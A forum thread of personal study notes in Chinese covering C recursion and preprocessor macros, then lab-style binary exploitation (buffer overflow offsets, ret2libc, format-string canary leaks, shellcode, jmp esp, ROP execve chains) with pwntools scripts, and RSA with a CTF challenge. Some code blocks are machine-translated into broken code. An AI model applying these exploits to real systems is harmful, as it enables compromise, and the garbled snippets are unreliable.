  41. 0040D7A6  |.  833D 644A4200 00   cmp     dword ptr [424A64], 0
  42. 0040D7AD  |.  7C 36              jl      short 0040D7E5
  43. 0040D7AF  |.  8B45 08            mov     eax, dword ptr [ebp+8]
  44. 0040D7B2  |.  99                 cdq
  45. 0040D7B3  |.  B9 0A000000        mov     ecx, 0A
  46. 0040D7B8  |.  F7F9               idiv    ecx
  47. 0040D7BA  |.  83C2 30            add     edx, 30
  48. 0040D7BD  |.  A1 604A4200        mov     eax, dword ptr [424A60]
  49. 0040D7C2  |.  8810               mov     byte ptr [eax], dl
  50. 0040D7C4  |.  8B0D 604A4200      mov     ecx, dword ptr [424A60]
  51. 0040D7CA  |.  0FBE11             movsx   edx, byte ptr [ecx]
  52. 0040D7CD  |.  81E2 FF000000      and     edx, 0FF
  53. 0040D7D3  |.  8955 F8            mov     dword ptr [ebp-8], edx
  54. 0040D7D6  |.  A1 604A4200        mov     eax, dword ptr [424A60]
  55. 0040D7DB  |.  83C0 01            add     eax, 1
  56. 0040D7DE  |.  A3 604A4200        mov     dword ptr [424A60], eax
  57. 0040D7E3  |.  EB 1F              jmp     short 0040D804
  58. 0040D7E5  |>  68 604A4200        push    00424A60
  59. 0040D7EA  |.  8B45 08            mov     eax, dword ptr [ebp+8]
  60. 0040D7ED  |.  99                 cdq
  61. 0040D7EE  |.  B9 0A000000        mov     ecx, 0A
  62. 0040D7F3  |.  F7F9               idiv    ecx
  63. 0040D7F5  |.  83C2 30            add     edx, 30
  64. 0040D7F8  |.  52                 push    edx
  65. 0040D7F9  |.  E8 F290FFFF        call    _flsbuf
  66. 0040D7FE  |.  83C4 08            add     esp, 8
  67. 0040D801  |.  8945 F8            mov     dword ptr [ebp-8], eax
  68. 0040D804  |>  5F                 pop     edi
  69. 0040D805  |.  5E                 pop     esi
  70. 0040D806  |.  5B                 pop     ebx
  71. 0040D807  |.  83C4 48            add     esp, 48
  72. 0040D80A  |.  3BEC               cmp     ebp, esp
  73. 0040D80C  |.  E8 DF38FFFF        call    _chkesp
  74. 0040D811  |.  8BE5               mov     esp, ebp
  75. 0040D813  |.  5D                 pop     ebp
  76. 0040D814  \.  C3                 retn
复制代码


可以看到,每递归一次,即每进行一次call printd指令,都会把下一条地址压栈,然后esp和ebp,即栈顶指针和栈底指针向上移动。
递归完成后进行清栈和retn返回,每返回一次就执行上一次的递归。
另一个经典递归例子是快速排序法。
  1. 困了,明天补上。
复制代码


还有一个递归练习典例:reverse函数。


  1. #include <string.h>

  2. void reverse(char s[])
  3. {
  4.         void reverser(char s[],int i,int len);
  5.        
  6.         reverser(s,0,strlen(s));       
  7. }

  8. void reverser(char s[],int i,int len)
  9. {
  10.         int c,j;
  11.         j=len-(i+1);
  12.         if(i<j)
  13.         {
  14.                 c=s[i];
  15.                 s[i]=s[j];
  16.                 s[j]=c;
  17.                 reverser(s,++i,len);
  18.         }
  19. }
复制代码


预处理
最常用的两个预处理命令是#include和#define。
可以通过#undef取消名字的宏定义。
  1. #undef getchar
  2. int getchar(void){...}
复制代码

形式参数不能用带引号的字符串替换。但是,如果在替换文本中参数名以#作为前缀,则结果将被扩展为由实际参数替换该参数的带引号的字符串。

  1. #define dprint(expr) printf(#expr "=%g\n", expr)
复制代码

使用语句
  1. dprint(x/y);
复制代码

调用将被扩展为
  1. printf("x/y" "=%g\n", x/y);
复制代码
  1. printf("x/y = %g\n", x/y);
复制代码
预处理运算符##为宏扩展提供了一种连接实际参数的手段。
如果替换文本中的参数与##相邻,则该参数被实际参数替换,##与前后的空白被删除。如paste替换:
  1. #define paste(front,back) front ## back
复制代码
宏调用paste(name,1)的结果是name1。
条件包含
#if语句对其中的常量整型表达式进行求值(不能包含sizeof、类型转换符和enum常量),若不为零则进行其后各行,直到遇见#endif或者#elif或者#else。

  1. #if !defined(HDR)
  2. #define HDR
  3. /* hdr.h文件的内容放在这里 */

  4. #endif
复制代码

第一次包含头文件hdr.h时,将定义名字HDR;此后再次包含这个头文件时,会发现改名字已经定义,直接跳转到#endif处。
这样可以避免多次重复包含同一文件。
下面的例子首先测试SYSTEM,再根据变量的值确定包含哪个头文件:
  1. #if SYSTEM == SYSV
  2.         #define HDR "sysv.h"
  3. #elif SYSTEM == BSD
  4.         #define HDR "bsd.h"
  5. #elif SYSTEM == MSDOS
  6.         #define HDR "msdos.h"
  7. #else
  8.         #define HDR "default.h"
  9. #endif
  10. #include HDR
复制代码


回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-3-26 23:28:02 | 显示全部楼层
本帖最后由 pukr 于 2020-4-1 20:58 编辑

2020-03-26


定位溢出点,python加载的方法
发表于2020-03-26 | 分类于基础训练

gdb调试定位溢出点的三种方法。
0x01
C程序:
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">#include <stdio.h> </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">void exploit()</font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">{ </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    system(“ / bin / sh”); </font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">} </font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">void func()</font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">{ </font></font>
  8. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        char str [20]; </font></font>
  9. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        读(0,STR,50); </font></font>
  10. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        printf(“ str为:%s \ n”,str); </font></font>
  11. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">} </font></font>
  12. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">int main()</font></font>
  13. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">{ </font></font>
  14. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        func(); </font></font>
  15. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        返回0; </font></font>
  16. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>
复制代码
编译命令:
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">gcc -no-pie -fno-stack-protector -z execstack -m32 -o 3.exe 3.c</font></font>
复制代码
-no-pie:关闭地址随机化
-fno-stack-protector:放置堆栈保护
-z execstack:关闭替代不可执行
寻找代码段中用了什么函数
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">objdump -t .text 3.exe | grep读取</font></font>
复制代码

查看反汇编

  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">objdump -D -M英特尔3.exe</font></font>
复制代码


发现函数

  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">objdump -D -M intel 3.exe | grep系统</font></font>
复制代码






即系统函数的入口是0x8049050,调用系统函数的exploit函数入口是0x08049182。
执行exploit可以返回shell
0x02生成字符串msf-pattern_create

  1. msf-pattern_create -l 100
复制代码


peda里执行3.exe


  1. gdb-peda$ r
  2. Starting program: /root/exp/3.exe
  3. a0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
复制代码




计算偏移量


  1. msf-pattern_offset -q 0Ab1
复制代码

  1. root@kali430:~/exp# msf-pattern_offset -q 0Ab1
  2. [*] Exact match at offset 33
复制代码





peda
peda里执行
  1. pattern_create 100
  2. r
  3. pattern_offset A)AA
复制代码
  1. gdb-peda$ pattern_create 100
  2. 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
  3. gdb-peda$ r
  4. Starting program: /root/exp/3.exe
  5. AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
  6. the str is:AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA��

  7. Program received signal SIGSEGV, Segmentation fault.
  8. [----------------------------------registers-----------------------------------]
  9. EAX: 0x41 ('A')
  10. EBX: 0x44414128 ('(AAD')
  11. ECX: 0x7fffffbf
  12. EDX: 0xf7faa010 --> 0x0
  13. ESI: 0xf7fa8000 --> 0x1d6d6c
  14. EDI: 0xf7fa8000 --> 0x1d6d6c
  15. EBP: 0x413b4141 ('AA;A')
  16. ESP: 0xffffd2a0 ("EAAaAA0AAFAAbA\336\367\001")
  17. EIP: 0x41412941 ('A)AA')
  18. EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
  19. [-------------------------------------code-------------------------------------]
  20. Invalid $PC address: 0x41412941
  21. [------------------------------------stack-------------------------------------]
  22. 0000| 0xffffd2a0 ("EAAaAA0AAFAAbA\336\367\001")
  23. 0004| 0xffffd2a4 ("AA0AAFAAbA\336\367\001")
  24. 0008| 0xffffd2a8 ("AFAAbA\336\367\001")
  25. 0012| 0xffffd2ac --> 0xf7de4162 --> 0x67736d ('msg')
  26. 0016| 0xffffd2b0 --> 0x1
  27. 0020| 0xffffd2b4 --> 0xffffd344 --> 0xffffd4e2 ("/root/exp/3.exe")
  28. 0024| 0xffffd2b8 --> 0xffffd34c --> 0xffffd4f2 ("SHELL=/bin/bash")
  29. 0028| 0xffffd2bc --> 0xffffd2d4 --> 0x0
  30. [------------------------------------------------------------------------------]
  31. Legend: code, data, rodata, value
  32. Stopped reason: SIGSEGV
  33. 0x41412941 in ?? ()
  34. gdb-peda$ A1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
  35. Undefined command: "A1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL".  Try "help".
  36. gdb-peda$ pattern_offset A)AA
  37. A)AA found at offset: 32
复制代码

pwngdb

  1. cyclic 100
  2. r
  3. cyclic -l iaaa
复制代码




python加载定位到exploit函数

  1. from pwn import *
  2. p=process('./3.exe')
  3. offset = 32
  4. payload ='a'*offset+p32(0x8049182)
  5. p.sendline(payload)
  6. p.interactive()
复制代码

  1. python 3.py
复制代码


定位到system函数的物理地址

  1. gdb-peda$ p system
  2. $1 = {int (const char *)} 0xf7e13660 <__libc_system>
复制代码


libc中的system函数为真实物理地址


  1. gdb-peda$ searchmem system
  2. Searching for 'system' in: None ranges
  3. Found 19 results, display max 19 items:
  4.   test.exe : 0x804828b ("system")
  5.       libc : 0xf7de58d1 ("systemerr")
  6.       libc : 0xf7de5ba6 ("system")
  7.       libc : 0xf7f505d9 ("system error")
  8.       libc : 0xf7f511e6 ("system call")
  9.       libc : 0xf7f5134e ("system")
  10.       libc : 0xf7f513bb ("system")
  11.       libc : 0xf7f51c11 ("system call")
  12.       libc : 0xf7f51fdc ("system bytes     = %10u\n")
  13.       libc : 0xf7f529dd ("system/cpu")
  14.       libc : 0xf7f54f80 ("system call should be restarted")
  15.       libc : 0xf7f554f6 ("system type="current" size="%zu"/>\n<system type="max" size="%zu"/>\n")
  16.       libc : 0xf7f5551a ("system type="max" size="%zu"/>\n")
  17.       libc : 0xf7f55678 ("system type="current" size="%zu"/>\n<system type="max" size="%zu"/>\n<aspace type="total" size="%zu"/>\n<aspace type="mprotect" size="%zu"/>\n</malloc>\n")
  18.       libc : 0xf7f5569c ("system type="max" size="%zu"/>\n<aspace type="total" size="%zu"/>\n<aspace type="mprotect" size="%zu"/>\n</malloc>\n")
  19.       libc : 0xf7f56f11 ("system/cpu/online")
  20.       libc : 0xf7f5750e ("system call failed\n")
  21. ld-2.29.so : 0xf7ff2991 ("system search path")
  22. ld-2.29.so : 0xf7ff3aa0 ("system's program\nloader to load the helper program from this file.  This helper program loads\nthe shared libraries needed by the program executable, prepares the program\nto run, and runs it.  You may "...)
复制代码


寻找”/bin/sh”参数地址:


  1. gdb-peda$ searchmem "/bin/sh"
  2. Searching for '/bin/sh' in: None ranges
  3. Found 3 results, display max 3 items:
  4. test.exe : 0x804a008 ("/bin/sh")
  5. test.exe : 0x804b008 ("/bin/sh")
  6.     libc : 0xf7f50f68 ("/bin/sh")
复制代码


寻找返回地址:


  1. gdb-peda$ p exit
  2. $2 = {void (int)} 0xf7e066f0 <__GI_exit>
复制代码


注意:


  1. echo 0 > /proc/sys/kernel/randomize_va_space
复制代码


关闭系统地址随机化才能运行成功。
python代码
  1. from pwn import *
  2. p=process('./test.exe')
  3. offset = 44
  4. payload ='a'*offset+p32(0xf7e13660)+p32(0xf7e066f0)+p32(0xf7f50f68)
  5. # 先压栈system物理地址,再压栈返回地址,再压栈"/bin/sh"参数地址
  6. p.send(payload)
  7. p.interactive()
复制代码

定位到system函数在函数领空的虚拟内存地址
c程序
  1. #include <stdio.h>
  2. void exploit()
  3. {
  4.     system("/bin/sh");
  5. }
  6. void func()
  7. {
  8.         char str[0x20];
  9.         read(0,str,0x50);
  10. }
  11. int main()
  12. {
  13.         func();
  14.         return 0;
  15. }
复制代码
  1. gcc -m32 -fno-stack-protector -no-pie -o test.exe 4.c
复制代码

寻找system函数虚拟映射地址
  1. gdb-peda$ disass exploit
复制代码

获得shell后返回地址就不重要了,可以随便写。参数可以是上面搜的”/bin/sh”任一地址
python代码:
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">来自pwn import * </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">p = process('./ test.exe')</font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">偏移量= 44 </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">有效负载='a'* offset + p32(0x8049040)+ p32(0x8049040)+ p32(0x804a008)</font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">p.send(有效载荷)</font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">p.interactive ()</font></font>
复制代码




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-3-29 23:39:23 | 显示全部楼层
本帖最后由 pukr 于 2020-4-1 20:58 编辑

2020-03-29

格式化字符串漏洞与canary保护
2020-03-29 |  基础训练

格式化字符串漏洞是因为c语言中printf的参数个数不是确定的,参数的长度也不是确定的,当printf把输入当作第一个参数直接输出的时候,输入若干格式化字符串,会增加与格式化字符串相对应的参数,会泄露出栈中的内容
C程序:
  1. #include "stdafx.h"
  2. #include "stdio.h"
  3. void func(){
  4.         char str1[10];
  5.         scanf("%s",str1);
  6.         printf("%s\n",str1);
  7.         printf(str1);
  8. }


  9. int main(int argc, char* argv[])
  10. {
  11.         func();
  12.         getchar();
  13.         return 0;
  14. }
复制代码
明显的溢出漏洞:正常输入的话两个printf输出一样,但是超过str1[10]的空间的话就会覆盖返回地址。
格式化字符串
输入%x%x%x的话,输出结果为:
正常输出的话,堆栈中这样存储

在OD里观察到原因


把存储内容当作输入。
printf函数并不知道参数个数,它的内部有个指针,用来索检格式化字符串。对于特定类型%,就去取相应参数的值,直到索检到格式化字符串结束。
所以尽管没有参数,上面的代码也会将format string 后面的内存当做参数以16进制输出。这样就会造成内存泄露。
把输入换成:

  1. AAAAA%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-
复制代码

则输出为:

  1. AAAAA%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-
  2. AAAAA  19ff30-  4011d0-  2ea000-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-cccccccc-41414141-78382541-7838252d-7838252d-7838252d-7838252d-7838252d-7838252d-7838252d-
复制代码



所以在格式化字符串里用很多的%x 就一定可以找到这个AAAA的位置。
根据这个原理,切换到linux下进行测试。
注:%$x 是直接读取第number个位置的参数,同样可以用在%n,%d等等。
gcc打开canary保护

  1. gcc -no-pie -fstack-protector -m32 -o test1.exe test1.c
  2. gdb test1.exe
复制代码

在pwndbg里进行:

  1. pwndbg> i b
  2. No breakpoints or watchpoints.
  3. pwndbg> b func
  4. Breakpoint 2 at 0x80491c1
  5. pwndbg> i b
  6. Num     Type           Disp Enb Address    What
  7. 2       breakpoint     keep y   0x080491c1 <func+4>
复制代码


依次执行r和n指令,直到看到一行这样的指令:

  1. 0x80491cf <func+18>    mov    eax, dword ptr gs:[0x14] <0x804c000>
复制代码


查看内容:

  1. pwndbg> x/x 0x804c000
  2. 0x804c000:        0x0804bf14
复制代码

即插入canary的代码。查看canary:

  1. pwndbg> canary
  2. AT_RANDOM = 0xffffd4bb # points to (not masked) global canary value
  3. Canary    = 0xe1ab7500
  4. Found valid canaries on the stacks:
  5. 00:0000│   0xffffd27c ◂— 0xe1ab7500
复制代码

所以思路是:读取到canary的值并加入到payload中,在canary的地址放入原来canary的值。
在进行到read函数时,查看堆栈:

  1. stack 20
复制代码


可以看到偏移为0x2c即44,4位一组偏移为11个内存单元。
输入:

  1. %11$8x
复制代码

一直n下去直到printf函数:


获得了canary的值。
python代码

  1. from pwn import *
  2. p=process("./test.exe")
  3. p.sendline("%11$08x")
  4. canary=p.recv()[:8]
  5. print(canary)

  6. canary=canary.decode("hex")[::-1]

  7. coffset=4*4
  8. roffset=3*4
  9. raddr=p32(0x8049192)
  10. payload=coffset*'a'+canary+roffset*'a'+raddr
  11. p.sendline(payload)
  12. p.interactive()
复制代码



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-4-1 00:57:21 | 显示全部楼层
本帖最后由 pukr 于 2020-4-1 20:57 编辑



2020-03-31

ret2shellcode & ret2syscall
2020-03-31 |  基础训练

利用pwntools中shellcraft.sh()函数生成shellcode全局变量绝对地址
C程序:
  1. #include <stdio.h>
  2. #include <string.h>
  3. char str1[0x40];
  4. void exploit()
  5. {
  6.     system("bin/sh");
  7. }
  8. void func()
  9. {
  10.         char str[0x40];
  11.         read(0,str,0x60);
  12.         strcpy(str1,str);
  13. }
  14. int main()
  15. {
  16.         func();
  17.         return 0;
  18. }
复制代码
全局变量空间不会马上释放,且地址是常规的。
思路:
read函数存在溢出,payload组成为shellcode和nop导轨,补齐到retn返回地址后,把返回地址用全局变量str1的地址覆盖,就跳转到全局变量str1的地址了,就执行了shellcode。
编译:
  1. gcc -m32 -no-pie -fno-stack-protector -z execstack -o 6.exe 6.c
  2. gdb 6.exe
复制代码
调试:
  1. pwndbg> start
  2. pwndbg> cyclic 200   //生成200字符的串
  3. pwndbg> r   //重新开始
  4. pwndbg> c   //持续执行
  5. (粘贴字符串)
  6. pwndbg> cyclic -l taaa //返回地址得到的字符串计算偏移
复制代码
python代码:

  1. from pwn import *
  2. context(arch="i386",os="linux")
  3. p=process('./6.exe')
  4. offset = 76
  5. # linux生成shellcode并转换成机器码
  6. shellcode=asm(shellcraft.sh())
  7. # shellcode长度不足偏移地址(76byte)的话用\x90补齐,最后加上全局变量str1的地址覆盖返回地址。
  8. payload =shellcode.ljust(offset,'\x90')+p32(0x804c060)
  9. pid=proc.pidof(p)
  10. print pid
  11. pause()
  12. p.sendline(payload)
  13. p.interactive()
复制代码
jmp esp跳板定位相对地址
C语言代码:
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <sys/types.h>
  4. #include <unistd.h>
  5. #include <sys/syscall.h>
  6. void exploit()
  7. {
  8.     system("/bin/sh");
  9. }
  10. void func()
  11. {
  12.         char str1[0x40];
  13.    read(0,str1,0x80);  
  14. }
  15. int main()
  16. {
  17.    func();
  18.         return 0;
  19. }
复制代码
思路:详见《堆溢出简单实验》中关于jmp esp的解释。
关闭linux空间地址随机化:
  1. echo 0 >/proc/sys/kernel/randomize_va_space
复制代码
否则找到的jmp esp就失效了。
peda命令asmsearch寻找jmp esp
  1. asmsearch "jmp esp" libc
复制代码


python代码:
  1. from pwn import *
  2. context(arch="i386",os="linux")
  3. p=process('./8.exe')
  4. offset = 76

  5. shellcode=asm(shellcraft.sh())
  6. add_jmpesp=p32(0xf7dd733d)
  7. print len(shellcode)
  8. payload ='\x90'*offset+add_jmpesp+shellcode
  9. pid=proc.pidof(p)
  10. print pid
  11. pause()
  12. p.sendline(payload)
  13. p.interactive()
复制代码


linux系统调用
想办法调用execve(“/bin/sh”,null,null)
linux 系统调用原理:
  1. linux上面的系统调用原理
  2. eax 系统调用号
  3. ebx 第一个参数
  4. ecx 第二个参数
  5. edx 第三个参数
  6. esi 第四个参数
  7. edi 第五个参数
  8. int 0x80
复制代码

-static
  
此选项将禁止使用动态库,所以,编译出来的东西,一般都很大,也不需要什么动态连接库,就可以运行。
但是编译的时候

2020-04-01
ROP(Return-Oriented Programming, 返回导向编程)

RWX段(同linux的文件属性一样,对于分页管理的现代操作系统的内存页来说,每一页也同样具有可读(R),可写(W),可执行(X)三种属性。只有在某个内存页具有可读可执行属性时,上面的数据才能被当做汇编指令执行,否则将会出错)
调试运行后发现这个RWX段其实就是栈,且程序还泄露出了buf所在的栈地址

既然攻击者们能想到在RWX段内存页中写入shellcode并执行,防御者们也能想到,因此,一种名为NX位(No eXecute bit)的技术出现了。
这是一种在CPU上实现的安全技术,这个位将内存页以数据和指令两种方式进行了分类。
被标记为数据页的内存页(如栈和堆)上的数据无法被当成指令执行,即没有X属性。由于该保护方式的使用,之前直接向内存中写入shellcode执行的方式显然失去了作用。
因此,我们就需要学习一种著名的绕过技术——ROP(Return-Oriented Programming, 返回导向编程)

使用返回指令ret连接代码的一种技术(同理还可以使用jmp系列指令和call指令,有时候也会对应地成为JOP/COP)。一个程序中必然会存在函数,而有函数就会有ret指令。我们知道,ret指令的本质是pop eip,即把当前栈顶的内容作为内存地址进行跳转。

而ROP就是利用栈溢出在栈上布置一系列内存地址,每个内存地址对应一个gadget,即以ret/jmp/call等指令结尾的一小段汇编指令,通过一个接一个的跳转执行某个功能。由于这些汇编指令本来就存在于指令区,肯定可以执行,而我们在栈上写入的只是内存地址,属于数据,所以这种方式可以有效绕过NX保护。

linux系统调用
想办法调用execve(“/bin/sh”,null,null)
linux上面的系统调用原理
eax 系统调用号
ebx 第一个参数
ecx 第二个参数
edx 第三个参数
esi 第四个参数
edi 第五个参数
int 0x80
把对应获取 shell 的系统调用的参数放到对应的寄存器中,再执行int 0x80就可执行对应的系统调用。
控制这些寄存器的值就需要使用 gadgets。我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以需要一段一段控制,这也是在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,可以使用 ropgadgets 这个工具。
  1. eax=0xb
  2. ebx="/bin/sh"的地址
  3. ecx=0
  4. edx=0
复制代码


C代码:
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <sys/types.h>
  4. #include <unistd.h>
  5. #include <sys/syscall.h>
  6. void exploit()
  7. {
  8.     system("/bin/sh");
  9. }
  10. void func()
  11. {
  12.         char str[0x20];
  13.         read(0,str,0x50);
  14. }
  15. int main()
  16. {
  17.         func();
  18.         return 0;
  19. }
复制代码


编译:


  1. gcc -no-pie -fno-stack-protector -static -o 7.exe 7.c
  2. 注:-static 此选项将禁止使用动态库,所以,编译出来的东西,一般都很大,也不需要什么动态连接库,就可以运行。
复制代码


确定offset


  1. gdb-peda$ pattern create 100
  2. 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
  3. gdb-peda$ start
  4. gdb-peda$ r
  5. Starting program: /root/exp/7.exe
  6. AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
  7. gdb-peda$ pattern offset AFAA
  8. AFAA found at offset: 44
复制代码


寻找需要的gadgets:


  1. root@kali430:~/exp# ROPgadget --binary ./7.exe --only 'pop|ret' | grep 'eax'
  2. 0x080a4cea : pop eax ; pop ebx ; pop esi ; pop edi ; ret
  3. 0x08057144 : pop eax ; pop edx ; pop ebx ; ret
  4. 0x080aaa06 : pop eax ; ret
  5. 0x080a4ce9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret



  6. root@kali430:~/exp# ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"
  7. 0x0806f711 : pop edx ; pop ecx ; pop ebx ; ret



  8. root@kali430:~/exp# ROPgadget --binary ./7.exe --string "/bin/sh"
  9. Strings information
  10. ============================================================
  11. 0x080ae008 : /bin/sh
  12. 0x080ae7b1 : /bin/sh



  13. root@kali430:~/exp# ROPgadget --binary ./7.exe --only "int"|grep "0x80"
  14. 0x0804a3d2 : int 0x80
复制代码


python代码:


  1. from pwn import *
  2. context(arch="i386",os="linux")
  3. p=process('./7.exe')
  4. offset = 44
  5. add_eax=p32(0x080aaa06)
  6. value_eax=p32(0xb)
  7. add_edx_ecx_ebx=p32(0x0806f711)
  8. value_ebx=p32(0x080ae008)
  9. value_ecx=p32(0)
  10. value_edx=p32(0)
  11. add_int=p32(0x0804a3d2)
  12. payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
  13. pid=proc.pidof(p)
  14. print pid
  15. pause()
  16. p.sendline(payload)
  17. p.interactive()
复制代码


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-4-1 21:03:20 | 显示全部楼层
本帖最后由 pukr 于 2020-4-8 20:41 编辑

2020-04-01
rsa加密原理(数论相关)
知识补充
欧拉函数
欧拉函数φ(a)是定义在正整数上的函数,它在正整数a上的值等于序列0,1,2…,a-1中与a互质的数的个数。
若a是质数,则φ(a)=a-1
若m1,m2是两个互质的正整数,则φ(m1m2)=φ(m1)·φ(m2)
a=p^α,p是质数,则φ(a)=( p^α ) - [ p^(α-1) ] = ( p-1 )[ p^(α-1) ]
设a=( p1^α1 )( p2^α2 )…( pk^αk ),则φ(a)=a( 1-1/p1 )( 1-1/p2 ) … ( 1-1/pk )



RSA加密
设p,q是两个大质数,例如位数超过100;N=pq;e,d满足关系:ed ≡ 1(mod φ(N))。这里密钥和解钥分别是e,N和d。加密过程如下:
设有一明码是数字a(0 ≤ a ≤ N-1),将a通过关系a^e ≡ b(mod N),0 ≤ b ≤ N-1,转换成b,发送方将密码b传给接收方;
接收方通过




将b转换成a。φ(N)=(p-1)(q-1)
当(a,N)=1时,由欧拉定理知相等关系成立,否则需要证明


密钥e,N可以公开。要想知道d,就必须知道φ(N),从而必须知道质因子p,q。而若p,q很大,N的分解就难以在有限时间内取得。
例子
python代码
  1. from Crypto.Util.number import *
  2. import gmpy2
  3. import random
  4. from flag import flag

  5. p = getPrime(1024)
  6. r = random.randint(2, 10)
  7. e =65537
  8. n=p**r
  9. m=flag
  10. assert(int(m.encode('hex'), 16) < n)
  11. c = pow(int(m.encode('hex'), 16),e,n)
  12. c=long_to_bytes(c)
  13. print 'c =\n', c.encode('base64'),n


  14. '''
  15. c =
  16. apxy3z3DgGnzaEedcUy3A49wAsqyyn9sqx6eYZL5iDrCq0Wjs8BOY2Ofza5wuaFigm32PVpO5jpu
  17. Dgw9b6oX8KM2ZB9/dDmwQc7JKnAKhCQrIc1v9qt7iQbnTK0DTQj/xvQkz/IBeSjoWBmHOx4s0tDx
  18. ZRAjOPui5wwAywNM3ynULEPczv+xN2v+6HBeoS2YuyfF5mq/pIAMPwZs+QpkuwxSbNQ6xPNP9Ox1
  19. IeKz/41F7/D2fDsGB5CcFdAiQq+r95BhVeGzeaiQBpzwAXAPKIyO+fP6/M9XmpSJwjaMSiAUnksp
  20. 9KfVOXgEG9Z0FmxP6rgqPl0vU+rVeJ2RsTUYCSP8Vy+PD3PGwDDdUtNzvcEXKr2BKiNoOUxprBAt
  21. yvcsmGqRLgDl1ZVgzSZ1U4MAmJ9x42mIU0XvolqaOCJZzaym1kJoBlw7/7+Nej4owEtan/c3TIkD
  22. kr/gCenUD/8MSlvnfTUMGdQLkSht2BZiuiHxVVRVzY5ETG6v+w9AtDMC
  23. 4600616808891590817884946117009414083548013610469076381106568481948720521467073218024827360073980550620353792084520767372304347132535784875671026563160583598386773718586111034826555689602824563172463446924287072570386712719870348862904936370894695108302490867826094352072132696743116741635111860205049129717948520534270924834318704244999690532431941248905257880347561221151841978982240191397364038490250930604211256385925496658620755582058753376328583001312846508295319286941837220522563729215928111164274042890696771820759856790994461944209269732769269559257608440686713206622111649275898426040931301005711446055819707704086201357712959922814300067907536161841255533171805313149332383712997091780368142625499055149806043238057037400510197255364471685815004154357049874205884682322443391374020169114833722616851257895369648472048116320266548560787733764126281102645474252013714507014577620450816459153848279084910457288549191
  24. '''

  25. 3*13*
